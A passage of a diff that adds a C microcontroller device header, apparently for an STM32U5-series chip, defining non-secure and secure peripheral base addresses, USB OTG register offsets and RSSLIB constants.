+ 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define RAMCFG_SRAM6_BASE_NS (RAMCFG_BASE_NS + 0x0180UL) +#define JPEG_BASE_NS (AHB1PERIPH_BASE_NS + 0x0A000UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define GFXMMU_BASE_NS (AHB1PERIPH_BASE_NS + 0x0C000UL) +#define GPU2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0F000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define DCACHE2_BASE_NS (AHB1PERIPH_BASE_NS + 0x11800UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define GTZC_MPCBB6_BASE_NS (AHB1PERIPH_BASE_NS + 0x13C00UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define OTFDEC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define OTFDEC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_NS (OTFDEC2_BASE_NS + 0x20UL) +#define OTFDEC2_REGION2_BASE_NS (OTFDEC2_BASE_NS + 0x50UL) +#define OTFDEC2_REGION3_BASE_NS (OTFDEC2_BASE_NS + 0x80UL) +#define OTFDEC2_REGION4_BASE_NS (OTFDEC2_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) +/* GFXMMU non secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_NS (0x24000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_NS (GFXMMU_VIRTUAL_BUFFERS_BASE_NS + 0xC00000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ +#define SRAM6_BASE_S (0x30270000UL) /*!< SRAM6 (512 KB) secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define SAI1_Block_B_BASE_S (SAI1_BASE_S + 0x024UL) +#define SAI2_BASE_S (APB2PERIPH_BASE_S + 0x5800UL) +#define SAI2_Block_A_BASE_S (SAI2_BASE_S + 0x004UL) +#define SAI2_Block_B_BASE_S (SAI2_BASE_S + 0x024UL) +#define GFXTIM_BASE_S (APB2PERIPH_BASE_S + 0x6400UL) +#define LTDC_BASE_S (APB2PERIPH_BASE_S + 0x6800UL) +#define LTDC_Layer1_BASE_S (LTDC_BASE_S + 0x0084UL) +#define LTDC_Layer2_BASE_S (LTDC_BASE_S + 0x0104UL) + +/*!< APB3 Secure peripherals */ +#define SYSCFG_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define SPI3_BASE_S (APB3PERIPH_BASE_S + 0x2000UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define LPTIM3_BASE_S (APB3PERIPH_BASE_S + 0x4800UL) +#define LPTIM4_BASE_S (APB3PERIPH_BASE_S + 0x4C00UL) +#define OPAMP_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP1_BASE_S (APB3PERIPH_BASE_S + 0x5000UL) +#define OPAMP2_BASE_S (APB3PERIPH_BASE_S + 0x5010UL) +#define COMP12_BASE_S (APB3PERIPH_BASE_S + 0x5400UL) +#define COMP1_BASE_S (COMP12_BASE_S) +#define COMP2_BASE_S (COMP12_BASE_S + 0x04UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_BASE_S (AHB1PERIPH_BASE_S) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA1_Channel8_BASE_S (GPDMA1_BASE_S + 0x0450UL) +#define GPDMA1_Channel9_BASE_S (GPDMA1_BASE_S + 0x04D0UL) +#define GPDMA1_Channel10_BASE_S (GPDMA1_BASE_S + 0x0550UL) +#define GPDMA1_Channel11_BASE_S (GPDMA1_BASE_S + 0x05D0UL) +#define GPDMA1_Channel12_BASE_S (GPDMA1_BASE_S + 0x0650UL) +#define GPDMA1_Channel13_BASE_S (GPDMA1_BASE_S + 0x06D0UL) +#define GPDMA1_Channel14_BASE_S (GPDMA1_BASE_S + 0x0750UL) +#define GPDMA1_Channel15_BASE_S (GPDMA1_BASE_S + 0x07D0UL) +#define CORDIC_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FMAC_BASE_S (AHB1PERIPH_BASE_S + 0x01400UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define TSC_BASE_S (AHB1PERIPH_BASE_S + 0x04000UL) +#define MDF1_BASE_S (AHB1PERIPH_BASE_S + 0x05000UL) +#define MDF1_Filter0_BASE_S (MDF1_BASE_S + 0x80UL) +#define MDF1_Filter1_BASE_S (MDF1_BASE_S + 0x100UL) +#define MDF1_Filter2_BASE_S (MDF1_BASE_S + 0x180UL) +#define MDF1_Filter3_BASE_S (MDF1_BASE_S + 0x200UL) +#define MDF1_Filter4_BASE_S (MDF1_BASE_S + 0x280UL) +#define MDF1_Filter5_BASE_S (MDF1_BASE_S + 0x300UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_SRAM4_BASE_S (RAMCFG_BASE_S + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) +#define RAMCFG_SRAM5_BASE_S (RAMCFG_BASE_S + 0x0140UL) +#define RAMCFG_SRAM6_BASE_S (RAMCFG_BASE_S + 0x0180UL) +#define JPEG_BASE_S (AHB1PERIPH_BASE_S + 0x0A000UL) +#define DMA2D_BASE_S (AHB1PERIPH_BASE_S + 0x0B000UL) +#define GFXMMU_BASE_S (AHB1PERIPH_BASE_S + 0x0C000UL) +#define GPU2D_BASE_S (AHB1PERIPH_BASE_S + 0x0F000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define DCACHE2_BASE_S (AHB1PERIPH_BASE_S + 0x11800UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define GTZC_MPCBB5_BASE_S (AHB1PERIPH_BASE_S + 0x13800UL) +#define GTZC_MPCBB6_BASE_S (AHB1PERIPH_BASE_S + 0x13C00UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define GPIOI_BASE_S (AHB2PERIPH_BASE_S + 0x02000UL) +#define GPIOJ_BASE_S (AHB2PERIPH_BASE_S + 0x02400UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define USB_OTG_HS_BASE_S (AHB2PERIPH_BASE_S + 0x20000UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) +#define OTFDEC1_BASE_S (AHB2PERIPH_BASE_S + 0xA5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define OTFDEC2_BASE_S (AHB2PERIPH_BASE_S + 0xA5400UL) +#define OTFDEC2_REGION1_BASE_S (OTFDEC2_BASE_S + 0x20UL) +#define OTFDEC2_REGION2_BASE_S (OTFDEC2_BASE_S + 0x50UL) +#define OTFDEC2_REGION3_BASE_S (OTFDEC2_BASE_S + 0x80UL) +#define OTFDEC2_REGION4_BASE_S (OTFDEC2_BASE_S + 0xB0UL) +#define OCTOSPIM_R_BASE_S (AHB2PERIPH_BASE_S + 0xA4000UL) /*!< OCTOSPIM control registers base address */ +#define SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8000UL) +#define SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_S (AHB2PERIPH_BASE_S + 0xA8400UL) +#define DLYB_SDMMC2_BASE_S (AHB2PERIPH_BASE_S + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_S (AHB2PERIPH_BASE_S + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_S (AHB2PERIPH_BASE_S + 0xAF400UL) +#define FMC_R_BASE_S (AHB2PERIPH_BASE_S + 0xB0400UL) /*!< FMC control registers base address */ +#define HSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB3400UL) +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) +#define OCTOSPI1_R_BASE_S (AHB2PERIPH_BASE_S + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_S (AHB2PERIPH_BASE_S + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_BASE_S (AHB3PERIPH_BASE_S) +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define ADC4_BASE_S (AHB3PERIPH_BASE_S + 0x1000UL) +#define ADC4_COMMON_BASE_S (AHB3PERIPH_BASE_S + 0x1300UL) +#define DAC1_BASE_S (AHB3PERIPH_BASE_S + 0x1800UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define GTZC_TZSC2_BASE_S (AHB3PERIPH_BASE_S + 0x3000UL) +#define GTZC_TZIC2_BASE_S (AHB3PERIPH_BASE_S + 0x3400UL) +#define GTZC_MPCBB4_BASE_S (AHB3PERIPH_BASE_S + 0x3800UL) +#define ADF1_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) +#define ADF1_Filter0_BASE_S (ADF1_BASE_S + 0x80UL) +#define LPDMA1_BASE_S (AHB3PERIPH_BASE_S + 0x5000UL) +#define LPDMA1_Channel0_BASE_S (LPDMA1_BASE_S + 0x0050UL) +#define LPDMA1_Channel1_BASE_S (LPDMA1_BASE_S + 0x00D0UL) +#define LPDMA1_Channel2_BASE_S (LPDMA1_BASE_S + 0x0150UL) +#define LPDMA1_Channel3_BASE_S (LPDMA1_BASE_S + 0x01D0UL) + +/* GFXMMU secure virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE_S (0x34000000UL) +#define GFXMMU_VIRTUAL_BUFFER0_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S) +#define GFXMMU_VIRTUAL_BUFFER1_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x400000UL) +#define GFXMMU_VIRTUAL_BUFFER2_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0x800000UL) +#define GFXMMU_VIRTUAL_BUFFER3_BASE_S (GFXMMU_VIRTUAL_BUFFERS_BASE_S + 0xC00000UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0xE0044000UL) +#define PACKAGE_BASE (0x0BFA0500UL) /*!< Package data register base address */ +#define UID_BASE (0x0BFA0700UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x0BFA07A0UL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x0BFA0000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x200U) /*!< 512 bytes OTP (one-time programmable) */ + +/* USB OTG registers Base address */ +#define USB_OTG_GLOBAL_BASE (0x0000UL) +#define USB_OTG_DEVICE_BASE (0x0800UL) +#define USB_OTG_IN_ENDPOINT_BASE (0x0900UL) +#define USB_OTG_OUT_ENDPOINT_BASE (0x0B00UL) +#define USB_OTG_EP_REG_SIZE (0x0020UL) +#define USB_OTG_HOST_BASE (0x0400UL) +#define USB_OTG_HOST_PORT_BASE (0x0440UL) +#define USB_OTG_HOST_CHANNEL_BASE (0x0500UL) +#define USB_OTG_HOST_CHANNEL_SIZE (0x0020UL) +#define USB_OTG_PCGCCTL_BASE (0x0E00UL) +#define USB_OTG_FIFO_BASE (0x1000UL) +#define USB_OTG_FIFO_SIZE (0x1000UL) + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0x0BF99E40UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0x0BF99EFFUL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE RSSLIB_SYS_FLASH_NS_PFUNC_START +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/*!< HDP Area constant definition */ +#define RSSLIB_HDP_AREA_Pos (0UL) +#define RSSLIB_HDP_AREA_Msk (0x3UL << RSSLIB_HDP_AREA_Pos ) +#define RSSLIB_HDP_AREA1_Pos (0UL) +#define RSSLIB_HDP_AREA1_Msk (0x1UL << RSSLIB_HDP_AREA1_Pos ) +#define RSSLIB_HDP_AREA2_Pos (1UL) +#define RSSLIB_HDP_AREA2_Msk (0x1UL << RSSLIB_HDP_AREA2_Pos ) + +/** + * @brief 